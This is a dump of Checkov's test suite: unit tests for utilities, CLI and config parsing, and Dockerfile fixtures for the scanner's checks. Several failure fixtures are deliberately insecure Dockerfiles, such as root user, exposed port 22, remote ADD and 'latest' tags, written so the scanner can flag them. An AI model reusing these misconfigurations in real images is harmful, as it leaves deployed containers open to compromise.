    "content": "import pytest\n\nfrom checkov.common.util.str_utils import removeprefix\nfrom checkov.common.util.str_utils import convert_to_seconds\n\n\n@pytest.mark.parametrize(\n    \"input_str,prefix,expected\",\n    [\n        (\"/path/to/something\", \"/path\", \"/to/something\"),\n        (\"path/to/something\", \"path\", \"/to/something\"),\n        (\"/path/path/to/something\", \"/path\", \"/path/to/something\"),\n        (\"/path/to/something\", \"/not_found\", \"/path/to/something\"),\n        (\"/path/to/something\", \"\", \"/path/to/something\"),\n    ],\n    ids=[\"abs_path\", \"rel_path\", \"double_path\", \"not_found\", \"empty\"],\n)\ndef test_removeprefix(input_str: str, prefix: str, expected: str) -> None:\n    assert removeprefix(input_str, prefix) == expected\n\n\n@pytest.mark.parametrize(\n    \"input_str,expected\",\n    [\n        (\"503s\", 503),\n        (\"3h\", 10800),\n        (\"8m\", 480),\n        (\"2d\", 172800),\n        (\"1w\", 604800),\n    ],\n    ids=[\"503 seconds\", \"3 hours\", \"8 minutes\", \"2 days\", \"1 week\"],\n)\ndef test_convert_to_seconds(input_str: str, expected: str) -> None:\n    assert convert_to_seconds(input_str) == expected\n\n\n@pytest.mark.parametrize(\n    \"input_str\",\n    [\n        \"4\",\n        \"5ss\",\n        \"6c\",\n    ],\n    ids=[\"no char\", \"two chars\", \"wrong char\"]\n)\ndef test_convert_to_seconds_fails(input_str: str) -> None:\n    with pytest.raises(Exception) as a:\n        convert_to_seconds(input_str)\n        print(a)\n"
  },
  {
    "path": "tests/common/utils/test_tqdm_utils.py",
    "content": "import os\n\nfrom pytest_mock import MockerFixture\n\nfrom checkov.common.util.tqdm_utils import ProgressBar\n\n\ndef test_is_off_with_run_in_docker(mocker: MockerFixture):\n    # given\n    mocker.patch.dict(os.environ, {\"RUN_IN_DOCKER\": \"True\"})\n\n    # when\n    bar = ProgressBar(\"terraform\")\n\n    # then\n    assert bar.is_off is True\n\n\ndef test_is_off_with_log_level(mocker: MockerFixture):\n    # given\n    mocker.patch.dict(os.environ, {\"LOG_LEVEL\": \"INFO\"})\n\n    # when\n    bar = ProgressBar(\"terraform\")\n\n    # then\n    assert bar.is_off is True\n\n\ndef test_is_off_with_not_isatty(mocker: MockerFixture):\n    # given\n    mocker.patch(\"sys.__stdout__.isatty\", return_value=False)\n\n    # when\n    bar = ProgressBar(\"terraform\")\n\n    # then\n    assert bar.is_off is True\n"
  },
  {
    "path": "tests/common/utils/test_type_forcers.py",
    "content": "import unittest\n\nfrom checkov.common.util.type_forcers import convert_prisma_policy_filter_to_params\n\n\nclass TestTypeForcers(unittest.TestCase):\n    def test_convert_prisma_policy_filter_to_dict(self):\n        self.assertListEqual(convert_prisma_policy_filter_to_params('F1=A,F2=B'), [('F1', 'A'), ('F2', 'B')])\n        self.assertListEqual(convert_prisma_policy_filter_to_params(''), [])\n        self.assertListEqual(convert_prisma_policy_filter_to_params(None), [])\n        self.assertListEqual(convert_prisma_policy_filter_to_params('F1 =   A,   F2= B '), [('F1', 'A'), ('F2', 'B')])\n        self.assertListEqual(convert_prisma_policy_filter_to_params('F1=A,B,F2=C'), [('F1', 'A'), ('F2', 'C')])\n        self.assertListEqual(convert_prisma_policy_filter_to_params('F1=A,F2=B,C'), [('F1', 'A'), ('F2', 'B')])\n        self.assertListEqual(convert_prisma_policy_filter_to_params('F1=A,F2=B,F1=C'), [('F1', 'A'), ('F2', 'B'), ('F1', 'C')])\n        self.assertListEqual(convert_prisma_policy_filter_to_params('F1=A,F2=B,F1=C,F1=DDD'), [('F1', 'A'), ('F2', 'B'), ('F1', 'C'), ('F1', 'DDD')])\n\n        policy_string = 'policy.name=AWS S3 bucket ACL grants READ permission to everyone'\n        filter_string = convert_prisma_policy_filter_to_params(policy_string)\n        self.assertListEqual(filter_string, [('policy.name', 'AWS S3 bucket ACL grants READ permission to everyone')])\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/common/utils/test_utils.py",
    "content": "import os\nimport re\nimport unittest\n\nfrom checkov.common.comment.enum import COMMENT_REGEX\nfrom checkov.common.util.data_structures_utils import merge_dicts\nfrom checkov.common.util.http_utils import normalize_prisma_url, normalize_bc_url\n\n\nclass TestUtils(unittest.TestCase):\n\n    def test_merge_dicts(self):\n        dict1 = {'a': '1', 'b': '2'}\n        dict2 = {'a': '4', 'c': '3'}\n        dict3 = {'x': 'x', 'y': 'y', 'a': 'q'}\n\n        res = merge_dicts(dict1, dict2)\n        self.assertEqual(len(res), 3)\n        self.assertEqual(res['a'], '4')\n        self.assertEqual(res['b'], '2')\n        self.assertEqual(res['c'], '3')\n\n        res = merge_dicts(dict1, dict2, dict3)\n        self.assertEqual(len(res), 5)\n        self.assertEqual(res['a'], 'q')\n        self.assertEqual(res['b'], '2')\n        self.assertEqual(res['c'], '3')\n        self.assertEqual(res['x'], 'x')\n        self.assertEqual(res['y'], 'y')\n\n        res = merge_dicts(dict1, None)\n        self.assertEqual(len(res), 2)\n        self.assertEqual(res['a'], '1')\n        self.assertEqual(res['b'], '2')\n\n        res = merge_dicts(dict1, 7)\n        self.assertEqual(len(res), 2)\n        self.assertEqual(res['a'], '1')\n        self.assertEqual(res['b'], '2')\n\n    def test_normalize_prisma_url(self):\n        self.assertEqual('https://api0.prismacloud.io', normalize_prisma_url('https://api0.prismacloud.io'))\n        self.assertEqual('https://api0.prismacloud.io', normalize_prisma_url('https://app0.prismacloud.io'))\n        self.assertEqual('https://api0.prismacloud.io', normalize_prisma_url('http://api0.prismacloud.io'))\n        self.assertEqual('https://api0.prismacloud.io', normalize_prisma_url('https://api0.prismacloud.io/'))\n        self.assertEqual('https://api0.prismacloud.io', normalize_prisma_url(' https://api0.prismacloud.io'))\n        self.assertIsNone(normalize_prisma_url(''))\n        self.assertIsNone(normalize_prisma_url(None))\n\n    def test_normalize_bc_url(self):\n        self.assertEqual('https://www.bridgecrew.cloud', normalize_bc_url('https://www.bridgecrew.cloud'))\n        self.assertEqual('https://www.bridgecrew.cloud', normalize_bc_url('http://www.bridgecrew.cloud'))\n        self.assertEqual('https://www.bridgecrew.cloud', normalize_bc_url('https://www.bridgecrew.cloud/'))\n        self.assertEqual('https://www.bridgecrew.cloud', normalize_bc_url(' https://www.bridgecrew.cloud'))\n        self.assertIsNone(normalize_bc_url(''))\n        self.assertIsNone(normalize_bc_url(None))\n\n    def test_skip_comment_regex(self):\n        self.assertIsNotNone(re.search(COMMENT_REGEX, 'checkov:skip=CKV_AWS_145: ADD REASON'))\n        self.assertIsNotNone(re.search(COMMENT_REGEX, 'checkov:skip=CKV_AWS_145:ADD REASON'))\n        self.assertIsNotNone(re.search(COMMENT_REGEX, 'checkov:skip=CKV_AWS_145'))\n        self.assertIsNotNone(re.search(COMMENT_REGEX, 'bridgecrew:skip=CKV_AWS_145:ADD REASON'))\n        self.assertIsNotNone(re.search(COMMENT_REGEX, 'bridgecrew:skip=CKV_AWS_145'))\n        self.assertIsNotNone(re.search(COMMENT_REGEX, 'bridgecrew:skip=BC_AWS_GENERAL_123'))\n        self.assertIsNotNone(re.search(COMMENT_REGEX, 'bridgecrew:skip=bcorg_AWS_1234567'))\n        self.assertIsNotNone(re.search(COMMENT_REGEX, 'checkov:skip=bcorg_AWS_1234567'))\n        self.assertIsNotNone(re.search(COMMENT_REGEX, 'cortex:skip=CKV_AWS_145: ADD REASON'))\n        self.assertIsNotNone(re.search(COMMENT_REGEX, 'cortex:skip=CKV_AWS_145:ADD REASON'))\n        self.assertIsNotNone(re.search(COMMENT_REGEX, 'cortex:skip=CKV_AWS_145'))\n\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/config/TestCLIArgs.py",
    "content": "import unittest\n\nfrom checkov.main import Checkov\n\n\nclass ConfigException(Exception):\n    pass\n\n\n# override parser.error, which prints the error and exits\ndef parser_error(message: str):\n    raise ConfigException(message)\n\n\nclass TestCLIArgs(unittest.TestCase):\n    def test_normalize_frameworks(self):\n        argv = []\n        ckv = Checkov(argv=argv)\n        self.assertEqual(ckv.config.framework, ['all'])\n        self.assertEqual(ckv.config.skip_framework, [])\n\n        argv = ['--framework', 'terraform']\n        ckv = Checkov(argv=argv)\n        self.assertEqual(ckv.config.framework, ['terraform'])\n\n        argv = ['--framework', 'terraform,arm']\n        ckv = Checkov(argv=argv)\n        self.assertEqual(set(ckv.config.framework), {'terraform', 'arm'})\n\n        argv = ['--framework', 'terraform', 'arm']\n        ckv = Checkov(argv=argv)\n        self.assertEqual(set(ckv.config.framework), {'terraform', 'arm'})\n\n        argv = ['--framework', 'terraform', '--framework', 'arm']\n        ckv = Checkov(argv=argv)\n        self.assertEqual(set(ckv.config.framework), {'terraform', 'arm'})\n\n        argv = ['--framework', 'terraform,bicep', '--framework', 'arm']\n        ckv = Checkov(argv=argv)\n        self.assertEqual(set(ckv.config.framework), {'terraform', 'arm', 'bicep'})\n\n        argv = ['--framework', 'terraform,bicep', '--framework', 'arm,all']\n        ckv = Checkov(argv=argv)\n        self.assertEqual(ckv.config.framework, ['all'])\n\n        argv = ['--framework', 'terraform,bicep', '--framework', 'arm,invalid']\n        ckv = Checkov(argv=[])  # first instantiate a valid one\n        # now repeat some of the logic of the constructor, overriding values\n        ckv.config = ckv.parser.parse_args(argv)\n        ckv.parser.error = parser_error\n        with self.assertRaises(ConfigException):\n            ckv.normalize_config()\n\n        # all is specified, so we do not expect an exception\n        argv = ['--framework', 'terraform,bicep', '--framework', 'arm,invalid,all']\n        ckv = Checkov(argv=argv)\n        self.assertEqual(ckv.config.framework, ['all'])\n\n    def test_normalize_skip_frameworks(self):\n        argv = ['--skip-framework', 'terraform']\n        ckv = Checkov(argv=argv)\n        self.assertEqual(ckv.config.skip_framework, ['terraform'])\n\n        argv = ['--skip-framework', 'terraform,arm']\n        ckv = Checkov(argv=argv)\n        self.assertEqual(set(ckv.config.skip_framework), {'terraform', 'arm'})\n\n        argv = ['--skip-framework', 'terraform', 'arm']\n        ckv = Checkov(argv=argv)\n        self.assertEqual(set(ckv.config.skip_framework), {'terraform', 'arm'})\n\n        argv = ['--skip-framework', 'terraform', '--skip-framework', 'arm']\n        ckv = Checkov(argv=argv)\n        self.assertEqual(set(ckv.config.skip_framework), {'terraform', 'arm'})\n\n        argv = ['--skip-framework', 'terraform,bicep', '--skip-framework', 'arm']\n        ckv = Checkov(argv=argv)\n        self.assertEqual(set(ckv.config.skip_framework), {'terraform', 'arm', 'bicep'})\n\n        # all is not allowed\n        argv = ['--skip-framework', 'terraform,bicep', '--skip-framework', 'arm,all']\n        ckv = Checkov(argv=[])\n        ckv.config = ckv.parser.parse_args(argv)\n        ckv.parser.error = parser_error\n        with self.assertRaises(ConfigException):\n            ckv.normalize_config()\n\n        argv = ['--skip-framework', 'terraform,bicep', '--skip-framework', 'arm,invalid']\n        ckv = Checkov(argv=[])\n        ckv.config = ckv.parser.parse_args(argv)\n        ckv.parser.error = parser_error\n        with self.assertRaises(ConfigException):\n            ckv.normalize_config()\n\n    def test_combine_framework_and_skip(self):\n        argv = ['--framework', 'terraform', '--skip-framework', 'arm']\n        ckv = Checkov(argv=argv)\n        self.assertEqual(ckv.config.framework, ['terraform'])\n        self.assertEqual(ckv.config.skip_framework, ['arm'])\n\n        # duplicate values not allowed\n        argv = ['--framework', 'arm', '--skip-framework', 'arm']\n        ckv = Checkov(argv=[])\n        ckv.config = ckv.parser.parse_args(argv)\n        ckv.parser.error = parser_error\n        with self.assertRaises(ConfigException):\n            ckv.normalize_config()\n\n        # but it works with all\n        argv = ['--framework', 'arm,all', '--skip-framework', 'arm']\n        ckv = Checkov(argv=argv)\n        self.assertEqual(ckv.config.framework, ['all'])\n        self.assertEqual(ckv.config.skip_framework, ['arm'])\n\n    def test_custom_tool_name(self):\n        # try using a non-standard tool name\n        argv = [\"--custom-tool-name\", \"non_standard_name\"]\n        ckv = Checkov(argv=argv)\n        self.assertEqual(ckv.config.custom_tool_name, 'non_standard_name')\n\n        # what about a standard tool name?\n        argv = []\n        ckv = Checkov(argv=argv)\n        self.assertEqual(ckv.config.custom_tool_name, 'Checkov')\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/config/TestConfigFile.py",
    "content": "import unittest\nimport configargparse\n\nfrom checkov.common.util.ext_argument_parser import ExtArgumentParser\n\n\nclass TestConfigFile(unittest.TestCase):\n    def test_pass(self):\n        argv = ['--ca-certificate', '----- BEGIN CERTIFICATE ----- <KEY> ----- END CERTIFICATE -----',\n                '--compact', '--directory', 'test-dir', '--docker-image', 'sample-image', '--dockerfile-path',\n                'Dockerfile', '--download-external-modules', 'True', '--evaluate-variables', 'False',\n                '--external-checks-dir', 'sample-dir', '--external-checks-git', 'sample-github-url', '--file',\n                'sample.tf', '--framework', 'all', '--output', 'cli', '--quiet', '--repo-id',\n                'bridgecrew/sample-repo', '--skip-check', 'CKV_DOCKER_3,CKV_DOCKER_2',\n                '--skip-framework', 'dockerfile', '--soft-fail', '--branch', 'master',\n                '--check', 'CKV_DOCKER_1']\n        argv_parser = ExtArgumentParser(config_file_parser_class=configargparse.YAMLConfigFileParser)\n        config_parser = ExtArgumentParser(\n            config_file_parser_class=configargparse.YAMLConfigFileParser,\n            default_config_files=['example_TestConfigFile/config.yml'],\n        )\n\n        argv_parser.add_parser_args()\n        config_parser.add_parser_args()\n\n        config_from_argv = argv_parser.parse_args(argv)\n        config_from_file = config_parser.parse_args([])\n        self.assertEqual(config_from_argv, config_from_file)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/config/__init__.py",
    "content": ""
  },
  {
    "path": "tests/config/example_TestConfigFile/config.yml",
    "content": "---\nca-certificate: \"----- BEGIN CERTIFICATE ----- <KEY> ----- END CERTIFICATE -----\"\ncompact: True\ndirectory:\n  - 'test-dir'\ndocker-image: 'sample-image'\ndockerfile-path: 'Dockerfile'\ndownload-external-modules: True\nevaluate-variables: False\nexternal-checks-dir: 'sample-dir'\nexternal-checks-git:\n  - 'sample-github-url'\nexternal-modules-download-path: '.external_modules'\nfile: 'sample.tf'\nframework: 'all'\noutput: 'cli'\nquiet: True\nrepo-id: 'bridgecrew/sample-repo'\nskip-check:\n  - \"CKV_DOCKER_3,CKV_DOCKER_2\"\nskip-framework: 'dockerfile'\nsoft-fail: True\nbranch: \"master\"\ncheck:\n  - \"CKV_DOCKER_1\"\n"
  },
  {
    "path": "tests/conftest.py",
    "content": "\nfrom copy import copy, deepcopy\nfrom checkov.common.checks.base_check_registry import BaseCheckRegistry\nimport pytest\n\n@pytest.fixture(scope='module', autouse=True)\ndef clean_bc_integration() -> None:\n    from checkov.common.bridgecrew.platform_integration import bc_integration\n    bc_integration.clean()\n\n\n@pytest.fixture(scope='module', autouse=True)\ndef clean_feature_registry():\n    from checkov.common.bridgecrew.integration_features.integration_feature_registry import integration_feature_registry\n    old_features = copy(integration_feature_registry.features)\n    before_registered_checks = copy(BaseCheckRegistry._BaseCheckRegistry__all_registered_checks)\n    yield\n    integration_feature_registry.features = old_features\n    BaseCheckRegistry._BaseCheckRegistry__all_registered_checks = before_registered_checks\n\n\n\n\n@pytest.fixture(scope='module', autouse=True)\ndef reset_checks():\n    from checkov.terraform.checks.resource.registry import resource_registry as registry\n    before_checks = deepcopy(registry.checks)\n    before_wildcards_checks = deepcopy(registry.wildcard_checks)\n    yield\n    registry.checks = deepcopy(before_checks)\n    registry.wildcard_checks = deepcopy(before_wildcards_checks)"
  },
  {
    "path": "tests/dockerfile/__init__.py",
    "content": ""
  },
  {
    "path": "tests/dockerfile/checks/__init__.py",
    "content": ""
  },
  {
    "path": "tests/dockerfile/checks/example_AddExists/failure/Dockerfile",
    "content": "FROM  base\n\nLABEL foo=\"bar baz\"\nADD http://example.com/package.zip /temp\nUSER  me\n"
  },
  {
    "path": "tests/dockerfile/checks/example_AliasIsUnique/failure/Dockerfile",
    "content": "FROM baseImage\nRUN Test\n\nFROM debian:jesse2 as build\nRUN stuff\n\nFROM debian:jesse1 as build\nRUN more_stuff\n"
  },
  {
    "path": "tests/dockerfile/checks/example_AliasIsUnique/success/Dockerfile",
    "content": "FROM debian:jesse1 as build\nRUN stuff\n\nFROM debian:jesse1 as another-alias\nRUN more_stuff\n"
  },
  {
    "path": "tests/dockerfile/checks/example_AliasIsUnique/success_platform/Dockerfile",
    "content": "FROM --platform=linux/amd64 node:16 as FOO\nRUN npm install\n\nFROM --platform=linux/amd64 node:16 as BAR\nRUN npm run\n\nUSER nobody\nHEALTHCHECK CMD curl --fail http://localhost:3000 || exit 1\n\nCMD mycommand.sh\n"
  },
  {
    "path": "tests/dockerfile/checks/example_ExposePort22/failure/Dockerfile",
    "content": "FROM busybox\n\nEXPOSE 8080 22\n"
  },
  {
    "path": "tests/dockerfile/checks/example_ExposePort22/failure_tcp/Dockerfile",
    "content": "FROM busybox\n\nEXPOSE 22/tcp\n"
  },
  {
    "path": "tests/dockerfile/checks/example_ExposePort22/success/Dockerfile",
    "content": "FROM busybox\n\nEXPOSE 8080\n"
  },
  {
    "path": "tests/dockerfile/checks/example_HealthcheckExists/failure/Dockerfile",
    "content": "FROM base\n\nLABEL foo=\"bar baz\nUSER  me\n"
  },
  {
    "path": "tests/dockerfile/checks/example_HealthcheckExists/success/Dockerfile",
    "content": "FROM base\n\nLABEL foo=\"bar baz\nUSER  me\n\nHEALTHCHECK CMD curl --fail http://localhost:3000 || exit 1\n"
  },
  {
    "path": "tests/dockerfile/checks/example_MaintainerExists/failure/Dockerfile",
    "content": "FROM  base\n\nMAINTAINER checkov\n"
  },
  {
    "path": "tests/dockerfile/checks/example_ReferenceLatestTag/failure_default_version_tag/Dockerfile",
    "content": "FROM alpine\n"
  },
  {
    "path": "tests/dockerfile/checks/example_ReferenceLatestTag/failure_latest_version_tag/Dockerfile",
    "content": "FROM alpine:latest\n"
  },
  {
    "path": "tests/dockerfile/checks/example_ReferenceLatestTag/success/Dockerfile",
    "content": "FROM alpine:3\n"
  },
  {
    "path": "tests/dockerfile/checks/example_ReferenceLatestTag/success_multi_stage/Dockerfile",
    "content": "FROM alpine:3 as base\nCOPY test.sh /test.sh\n\nFROM base\nLABEL maintainer=checkov\n"
  },
  {
    "path": "tests/dockerfile/checks/example_ReferenceLatestTag/success_multi_stage_capital/Dockerfile",
    "content": "FROM alpine:3 AS base\nCOPY test.sh /test.sh\n\nFROM base AS build\nLABEL maintainer=checkov\n\nFROM base\n"
  },
  {
    "path": "tests/dockerfile/checks/example_ReferenceLatestTag/success_multi_stage_platform/Dockerfile",
    "content": "FROM --platform=$BUILDPLATFORM python:3.11-slim AS build\nCOPY test.sh /test.sh\n\nFROM build as run\nLABEL maintainer=checkov\n"
  },
  {
    "path": "tests/dockerfile/checks/example_ReferenceLatestTag/success_multi_stage_scratch/Dockerfile",
    "content": "FROM scratch as base\nCOPY test.sh /test.sh\n\nFROM base\nLABEL maintainer=checkov\n"
  },
  {
    "path": "tests/dockerfile/checks/example_ReferenceLatestTag/success_scratch/Dockerfile",
    "content": "FROM scratch\n"
  },
  {
    "path": "tests/dockerfile/checks/example_RootUser/failure/Dockerfile",
    "content": "FROM base\n\nUSER root\n"
  },
  {
    "path": "tests/dockerfile/checks/example_RootUser/success/Dockerfile",
    "content": "FROM base\n\nUSER root\nCOPY test.sh /test.sh\n\nUSER checkov\n"
  },
  {
    "path": "tests/dockerfile/checks/example_RunUsingAPT/failure/Dockerfile",
    "content": "FROM busybox:1.0\nRUN apt install curl\nHEALTHCHECK CMD curl --fail http://localhost:3000 || exit 1\n"
  },
  {
    "path": "tests/dockerfile/checks/example_RunUsingAPT/failure2/Dockerfile",
    "content": "FROM ubuntu\n\nRUN apt install curl\nRUN apt-get update && \\\n    apt-get install --yes --no-install-recommends \\\n        git && \\\n    apt-get clean autoclean && \\\n    apt-get autoremove --yes && \\\n    cd /var/lib && \\\n    rm -rf apt dpkg cache log"
  },
  {
    "path": "tests/dockerfile/checks/example_RunUsingAPT/failure3/Dockerfile",
    "content": "FROM ubuntu\n\nRUN apt update && \\\n    apt-get install --yes --no-install-recommends \\\n        git && \\\n    apt-get clean autoclean && \\\n    apt-get autoremove --yes && \\\n    cd /var/lib && \\\n    rm -rf apt dpkg cache log"
  },
  {
    "path": "tests/dockerfile/checks/example_RunUsingAPT/success/Dockerfile",
    "content": "FROM busybox:1.0\nRUN apt-get install curl\nHEALTHCHECK CMD curl --fail http://localhost:3000 || exit 1"
  },
  {
    "path": "tests/dockerfile/checks/example_RunUsingAPT/success2/Dockerfile",
    "content": "FROM ubuntu\n\nRUN apt-get update && \\\n    apt-get install --yes --no-install-recommends \\\n        git && \\\n    apt-get clean autoclean && \\\n    apt-get autoremove --yes && \\\n    cd /var/lib && \\\n    rm -rf apt dpkg cache log"
  },
  {
    "path": "tests/dockerfile/checks/example_RunUsingAPT/success3/Dockerfile",
    "content": "FROM cypress/included:13.6.1\nRUN apt-get update -qq && apt-get install -y gnupg curl && \\\n    echo \"deb [signed-by=/usr/share/keyrings/cloud.google.gpg] https://packages.cloud.google.com/apt cloud-sdk main\" | tee -a /etc/apt/sources.list.d/google-cloud-sdk.list && \\\n    curl -sf https://packages.cloud.google.com/apt/doc/apt-key.gpg | apt-key --keyring /usr/share/keyrings/cloud.google.gpg add - && \\\n    apt-get update && apt-get install -y google-cloud-sdk kubectl google-cloud-sdk-gke-gcloud-auth-plugin && apt-get clean"
  },
  {
    "path": "tests/dockerfile/checks/example_UpdateNotAlone/failure/Dockerfile",
    "content": "FROM base:1\n\nRUN apt install first_update_line \\\n&& apt update first_update_line\nRUN apt update second_update_line\nRUN apt update third_update_line\n\nUSER bob\n\nHEALTHCHECK --interval=5m --timeout=3s \\\n  CMD curl -f http://localhost/ || exit 1\n~                                            "
  },
  {
    "path": "tests/dockerfile/checks/example_UpdateNotAlone/failure/Dockerfile.simple",
    "content": "FROM base\n\nRUN apk update"
  },
  {
    "path": "tests/dockerfile/checks/example_UpdateNotAlone/success/Dockerfile",
    "content": "FROM base\n\nRUN apt-get update \\\n && apt-get install -y --no-install-recommends foo \\\n && echo gooo\n\nRUN apk update \\\n && apk add --no-cache suuu looo\n\nRUN apk --update add moo\n\nRUN apk update --no-cache && apk upgrade --no-cache\n\nRUN sed -i -e 's/# en_US.UTF-8 UTF-8/en_US.UTF-8 UTF-8/' /etc/locale.gen && \\\n  dpkg-reconfigure --frontend noninteractive locales && \\\n  update-locale LANG=en_US.UTF-8\n"
  },
  {
    "path": "tests/dockerfile/checks/example_UserExists/failure/Dockerfile",
    "content": "FROM base\n\nLABEL foo=\"bar baz\n"
  },
  {
    "path": "tests/dockerfile/checks/example_UserExists/success/Dockerfile",
    "content": "FROM base\n\nLABEL foo=\"bar baz\nUSER  me\n"
  },
  {
    "path": "tests/dockerfile/checks/example_WorkdirIsAbsolute/failure/Dockerfile",
    "content": "FROM alpine:3.5\nRUN apk add --update py2-pip\nRUN pip install --upgrade pip\nWORKDIR /path/to/workdir\nWORKDIR workdir\nWORKDIR \"../workdir\"\nCOPY requirements.txt /usr/src/app/\nRUN pip install --no-cache-dir -r /usr/src/app/requirements.txt\nWORKDIR workdir2\nCOPY app.py /usr/src/app/\nCOPY templates/index.html /usr/src/app/templates/\nEXPOSE 5000\nCMD [\"python\", \"/usr/src/app/app.py\"]\n"
  },
  {
    "path": "tests/dockerfile/checks/example_WorkdirIsAbsolute/failure/Dockerfile.simple",
    "content": "FROM alpine:3.14\n\nWORKDIR workdir\n"
  },
  {
    "path": "tests/dockerfile/checks/example_WorkdirIsAbsolute/success/Dockerfile",
    "content": "FROM alpine:3.5\nRUN apk add --update py2-pip\nRUN pip install --upgrade pip\nWORKDIR /path/to/workdir\nWORKDIR /\nWORKDIR c:\\\\windows\nWORKDIR \"/path/to/workdir\"\nWORKDIR \"c:\\\\windows\"\nENV DIRPATH=/path\nENV GLASSFISH_ARCHIVE glassfish5\nWORKDIR $DIRPATH/$DIRNAME\nWORKDIR ${GLASSFISH_HOME}/bin\nCOPY requirements.txt /usr/src/app/\nRUN pip install --no-cache-dir -r /usr/src/app/requirements.txt\nCOPY app.py /usr/src/app/\nCOPY templates/index.html /usr/src/app/templates/\nEXPOSE 5000\nCMD [\"python\", \"/usr/src/app/app.py\"]\n"
  },
  {
    "path": "tests/dockerfile/checks/test_AddExists.py",
    "content": "import os\nimport unittest\n\nfrom checkov.dockerfile.checks.AddExists import check\nfrom checkov.dockerfile.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestAddExists(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_AddExists\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        failing_resources = {\"/failure/Dockerfile.ADD\"}\n\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 0)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/dockerfile/checks/test_AliasIsUnique.py",
    "content": "import os\nimport unittest\n\nfrom checkov.dockerfile.checks.AliasIsUnique import check\nfrom checkov.dockerfile.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestAliasIsUnique(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_AliasIsUnique\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"/success/Dockerfile.\",\n            \"/success_platform/Dockerfile.\",\n        }\n        failing_resources = {\"/failure/Dockerfile.FROM\"}\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/dockerfile/checks/test_ExposePort22.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.dockerfile.checks.ExposePort22 import check\nfrom checkov.dockerfile.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestExposePort22(unittest.TestCase):\n    def test(self):\n        #  given\n        test_files_dir = Path(__file__).parent / \"example_ExposePort22\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"/success/Dockerfile.\",\n        }\n        failing_resources = {\n            \"/failure/Dockerfile.EXPOSE\",\n            \"/failure_tcp/Dockerfile.EXPOSE\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/dockerfile/checks/test_HealthcheckExists.py",
    "content": "import os\nimport unittest\n\nfrom checkov.dockerfile.checks.HealthcheckExists import check\nfrom checkov.dockerfile.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestHealthcheckExists(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_HealthcheckExists\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\"/success/Dockerfile.HEALTHCHECK\"}\n        failing_resources = {\"/failure/Dockerfile.\"}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/dockerfile/checks/test_MaintainerExists.py",
